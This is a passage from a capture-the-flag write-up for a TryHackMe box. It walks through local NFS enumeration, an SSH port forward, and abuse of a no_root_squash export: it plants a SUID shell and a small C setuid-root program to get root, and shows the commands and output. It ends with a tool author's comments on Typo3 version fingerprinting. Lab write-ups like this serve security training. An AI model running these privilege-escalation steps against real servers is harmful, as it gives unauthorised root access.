LISTEN                         0                               128                                                             0.0.0.0:50313                                                          0.0.0.0:*
LISTEN                         0                               80                                                            127.0.0.1:3306                                                           0.0.0.0:*
LISTEN                         0                               128                                                             0.0.0.0:111                                                            0.0.0.0:*
LISTEN                         0                               128                                                       127.0.0.53%lo:53                                                             0.0.0.0:*
LISTEN                         0                               128                                                             0.0.0.0:22                                                             0.0.0.0:*
LISTEN                         0                               64                                                              0.0.0.0:2049                                                           0.0.0.0:*
LISTEN                         0                               64                                                              0.0.0.0:32773                                                          0.0.0.0:*
LISTEN                         0                               128                                                             0.0.0.0:37093                                                          0.0.0.0:*
LISTEN                         0                               128                                                                [::]:111                                                               [::]:*
LISTEN                         0                               128                                                                   *:80                                                                   *:*
...

john@enterprize:~$ showmount -e 127.0.0.1
Export list for 127.0.0.1:
/var/nfs localhost

Interestingly there is a NFS service (port 2049) running locally.

Let's make a local port forwarding to inspect it.

$ ssh -i ~/.ssh/id_ed25519 john@enterprize.thm -N -L 2049:127.0.0.1:2049

As recommended on HackTricks we can read /etc/exports to see how NFS is configured.

john@enterprize:~$ grep -v '#' /etc/exports
/var/nfs        localhost(insecure,rw,sync,no_root_squash,no_subtree_check)

As explained here with no_root_squash we'll have access to the files on the NFS as root.

Let's mount the share and copy a SUID shell in it.

$ mkdir nfs
$ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/
$ sudo su
$ cp /bin/sh nfs
$ chmod +s nfs/sh
$ exit
$ sudo umount -f 127.0.0.1:/var/nfs

But it didn't work executing /var/nfs/sh -p because of incomptability with versions of shared libraries. So instead I'll copy the /bin/sh from the system.

$ scp -i ~/.ssh/id_ed25519 john@enterprize.thm:/bin/sh .
$ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/
$ sudo su
$ mv sh nfs/sh
$ chmod +s nfs/sh
$ exit

Note: do not unmount the share from your host as doing it removes the SUID bits, you must have the share mounted while executing a binary from the target.

Another way to do it is to create a C SUID binary:

int main(){
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
$ sudo mount -t nfs 127.0.0.1:/var/nfs nfs/
$ sudo su
$ gcc -static suid.c -o nfs/eop
$ chmod u+s nfs/eop
john@enterprize:/var/nfs$ ./sh -p
# id
uid=1000(john) gid=1000(john) euid=0(root) groups=1000(john),4(adm),24(cdrom),30(dip),46(plugdev),1001(blocked)
# cat /root/root.txt
THM{edited}
# exit
john@enterprize:/var/nfs$ ./eop
root@enterprize:/var/nfs# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),1000(john),1001(blocked)
root@enterprize:/var/nfs# exit

About Typo3Scan#

whoot, the author of Typo3Scan, spotted that I made a wrong assumption about his tool and was kind enough to share it's analysis that is quoted below.

Hello there, nice writeup!

I noticed that you used my tool (Typo3Scan) for enumeration and wondered why it was not possible to identify the exact version, but WhatWeb was.

Here is why:

Both tools use a database with MD5 hashes of various accessible files of a Typo3 installation. While I keep the database of Typo3Scan up to date and actually verify the data and delete duplicates, WhatWeb does not. The dataset in WhatWeb is from 2021 and the most current Typo3 version in there is 11.1. Some guys simply calculated the MD5 hash for the file 'typo3/sysext/backend/Resources/Public/JavaScript/LoginRefresh.js' and published the data into the WhatWeb repo without even looking into the data.

If you actually looked into the data (https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/typo3.rb), you would have noticed that the same hash is referenced for different versions. In your case WhatWeb identified version 9.5.22 and the MD5 hash of the LoginRefresh.js is '320db84396f6064c1d956ce156bc4ab9'. However, this is also the case for 9.5.23 and 9.5.24 and WhatWeb just used the first one. Its even worse for hash '8d6eb428cdb6a55304eb500ea1975e7c', which is present 7 times and is the hash for 9.5.15 to 9.5.21.

Since Typo3Scan database does not contain duplicates, the tool was not able to identify the exact version, but only the main branch (9.5). It would be interesting to see which version was actually installed on the TryHackMe box to verify this assumption.

The advisory TYPO3-CORE-SA-2020-007 should have been listed by Typo3Scan, because all vulnerabilities of the branch 9.5 were shown. Maybe you overlooked it, because you filtered for vulnerabilities affecting 9.5.22.

Best regards,

Whoot

P. S.: Typo3Scan supports the output of all vulnerbilities for a given version. You could have used the following: python3 typo3scan.py --core 9.5.22

Share